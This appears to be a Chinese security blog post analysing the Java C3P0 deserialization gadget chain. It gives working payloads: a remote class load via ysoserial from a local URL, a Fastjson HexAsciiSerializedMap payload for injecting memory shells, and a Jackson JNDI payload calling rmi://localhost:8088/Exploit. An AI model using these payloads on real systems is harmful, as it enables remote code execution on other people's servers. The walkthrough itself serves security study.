浅谈Java安全之C3P0链利用与分析
作者:nice_0e3 发布时间:2022-05-23 20:31:17
0x00 前言
在一些比较极端情况下,C3P0链的使用还是挺频繁的。
0x01 利用方式
利用方式
在C3P0中有三种利用方式
http base
JNDI
HEX序列化字节加载器
在原生的反序列化中如果找不到其他链,则可尝试C3P0去加载远程的类进行命令执行。JNDI则适用于Jackson等利用。而HEX序列化字节加载器的方式可以利用与fj和Jackson等不出网情况下打入内存马使用。
http base使用
使用也很简单,可以直接使用yso生成数据进行发送到服务端,然后加载到指定的远程类。
public class test1 {
public static void main(String[] args) throws Exception {
C3P0 c3P0 = new C3P0();
Object object = c3P0.getObject("http://127.0.0.1:80/:exp");
byte[] serialize = Serializer.serialize(object);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject();
}
}
0x02 C3P0分析
构造分析
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
......
}
代码比较简单,反射创建了一个PoolBackedDataSource
实例对象,然后反射将connectionPoolDataSource
的值设置为PoolSource
类的实例,传递className
和url
参数。即我们传入的远程地址和类名。
在序列化的时候会去调用我们的com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject
这行代码走到了catch
代码块里面,因为我们传入的this.connectionPoolDataSource
即PoolSource
类是不可被序列化的。
继续走到下面代码来看。
public IndirectlySerialized indirectForm(Object var1) throws Exception {
Reference var2 = ((Referenceable)var1).getReference();
return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}
调用我们传递的this.connectionPoolDataSource
的getReference();
方法。来获取到一个Reference
这也是前面为我们要重写这个方法的原因。
实例ReferenceIndirector.ReferenceSerialized
将刚刚获取的Reference
传递进去。
利用分析
反序列化入口为com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject
调用readObject
内部会调用ReferenceIndirector.getObject()
Class.forName
,如果可以控制forName⽅法的第⼀个和第三个参数,并且第⼆个参数为 true,那么就可以利⽤BCEL, ClassLoader实现任意代码加载执⾏ 。
把代码抠出来测试一下
ClassLoader var6 = Thread.currentThread().getContextClassLoader();
URL var8 = new URL("http://127.0.0.1:80");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{var8}, var6);
Class var12 = Class.forName("exp", true, urlClassLoader);
跟踪了一下forName0
是native
修饰的内部使用C/C++实现无法进行查看。
来看到官方的讲解。
Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.
翻译大概的意思就是返回一个给定类或者接口的一个 Class 对象,如果没有给定 classloader, 那么会使用根类加载器。如果initalize
这个参数传了 true,那么给定的类如果之前没有被初始化过,那么会被初始化。
也就是说我们的exp会被初始化,执行我们static
代码块中的恶意代码。
官方说明
HEX序列化字节加载器
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}
在fj反序列化userOverridesAsString
调用setting
setter传入以HexAsciiSerializedMap开头的字符串进行解码并触发原生反序列化。
来看到调用流程。下面调用到这里
this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);
一路跟踪来到com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString
中
public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
if (userOverridesAsString != null) {
String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
} else {
return Collections.EMPTY_MAP;
}
}
将HexAsciiSerializedMap
中内容提取出来进行反序列化
JNDI利用
public static void main(String[] args) throws IOException, JsonProcessingException {
String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}";
System.out.println(poc);
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
objectMapper.readValue(poc, Person.class);
}
jackson和fastjson特性一样会调用setter,这里利用的是JndiRefDataSourceBase
中的setjndiName
0x03 结尾
构造序列化payload时,C3P0版本也会对漏洞利用有所影响。
来源:https://www.cnblogs.com/nice0e3/p/15058285.html


猜你喜欢
- 引言异步蓝图节点:在蓝图节点的右上角有时钟图标。注意:异步节点可以在EventGraph/Macros中使用,但是无法在蓝图函数中使用。AI
- 接收从控制台输入的数据可以使用Scanner类实现,Scanner类在一个名为util的包中需要在程序中导入这个包, 即在程序中添加impo
- 每当想找哪个运算符优先级高时,很多时候总是想找的就没有,真让人气愤!现在,终于有个我个人觉得非常全的,分享给大家,欢迎拍砖!C语言运算符优先
- 部署到webapps目录启动本文使用的Spring版本为Spring6,SpringBoot版本为3,JDK为17,可能会和之前有细微不同,
- package 斐波那契数;import java.util.Scanner;class 斐波那契数 { public static voi
- 单例模式单例模式顾名思义就是单一的实例,涉及到一个单一的类,该类负责创建自己的对象,同时确保只有一个对象被创建,并且提供一种可以访问这个对象
- 本文实例讲述了Java中的多态用法。分享给大家供大家参考。具体分析如下:多态,是面向对象的程序设计语言最核心的特征。封装性、继承性都比较简单
- 此处网上最多的做法是需要修改tomcat的参数配置大致如下:<Connector port="8080" prot
- 本文实例讲述了C#实现去除Strings中空格的方法,分享给大家供大家参考。具体实现方法如下:一般来说,你或许知道你能使用String.Tr
- 想要实现一个功能:同一个用户在两个不同的浏览器中登录,后面的踢掉之前的登录。本来的思路是在httpSession * 中进行判断。但是在使用
- 公司app要求做一个扭蛋功能,其实就是一个可拖动层叠卡片列表,原理还是由一个自定义Recyclerview和LayoutManager来实现
- 我们在做应用开发的时候,一个Activity里面可能会以viewpager(或其他容器)与多个Fragment来组合使用。而ViewPage
- 进行双重foreach循环mapname是一个Map<String,Map<String,Object>> 对象&l
- 本文为大家分享了Android AIDL实现两个APP间的跨进程通信实例,供大家参考,具体内容如下1 Service端创建首先需要创建一个A
- 好久没有做web了,JSON目前比较流行,闲得没事,所以动手试试将对象序列化为JSON字符(尽管DotNet Framework
- 本文实例为大家分享了C#实现餐厅管理系统的具体代码,供大家参考,具体内容如下部分代码:fm_change_password.csusing
- 记录一下工作流的在Springboot中的使用,,顺便写个demo,概念,什么东西的我就不解释了,如有问题欢迎各位大佬指导一下。1.创建sp
- 在Android Studio中,你可以很快速的使用Parcelable插件进行实体类的序列化的实现,使用该插件后,你的实体类可以快速的实现
- 上传临时文件被删除引起报错的解决1.前言在项目中使用到了SpringBoot的上传实现了一个excel导入功能,上线后稳得一批,但突然有一天
- 本文汇总了android 8种对话框(Dialog)使用方法,分享给大家供大家参考,具体内容如下1.写在前面Android提供了丰富的Dia